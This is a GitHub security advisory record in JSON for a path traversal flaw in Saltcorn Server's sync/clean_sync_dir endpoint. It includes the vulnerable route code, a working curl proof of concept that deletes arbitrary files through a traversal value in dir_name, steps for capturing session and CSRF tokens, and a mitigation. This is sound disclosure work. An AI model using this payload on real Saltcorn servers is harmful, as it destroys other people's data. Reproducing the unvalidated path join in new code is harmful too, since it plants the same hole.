{"id":"GHSA-43f3-h63w-p6f6","summary":"Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability","details":"### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n  \"/clean_sync_dir\",\n  error_catcher(async (req, res) =\u003e {\n    const { dir_name } = req.body; // [1] source\n    try {\n      const rootFolder = await File.rootFolder();\n      const syncDir = path.join(\n        rootFolder.location,\n        \"mobile_app\",\n        \"sync\",\n        dir_name // [2]\n      );\n      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n      res.status(200).send(\"\");\n    } catch (error) {\n      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);\n      res.status(400).json({ error: error.message || error });\n    }\n  })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $'POST' \\\n  -H $'Host: localhost:3000' \\\n  -H $'Content-Type: application/x-www-form-urlencoded' \\\n  -H $'Content-Length: 93' \\\n  -H $'Origin: http://localhost:3000' \\\n  -H $'Connection: close' \\\n  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \\\n  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \\\n  $'http://localhost:3000/sync/clean_sync_dir'\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.","aliases":["CVE-2024-47818"],"modified":"2024-10-08T14:19:02Z","published":"2024-10-07T15:10:52Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2024-10-07T15:10:52Z","nvd_published_at":"2024-10-07T22:15:04Z","cwe_ids":["CWE-22"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47818"},{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a"},{"type":"PACKAGE","url":"https://github.com/saltcorn/saltcorn"},{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346"}],"affected":[{"package":{"name":"@saltcorn/server","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.0-beta.16"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json","last_known_affected_version_range":"\u003c= 1.0.0-beta.15"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}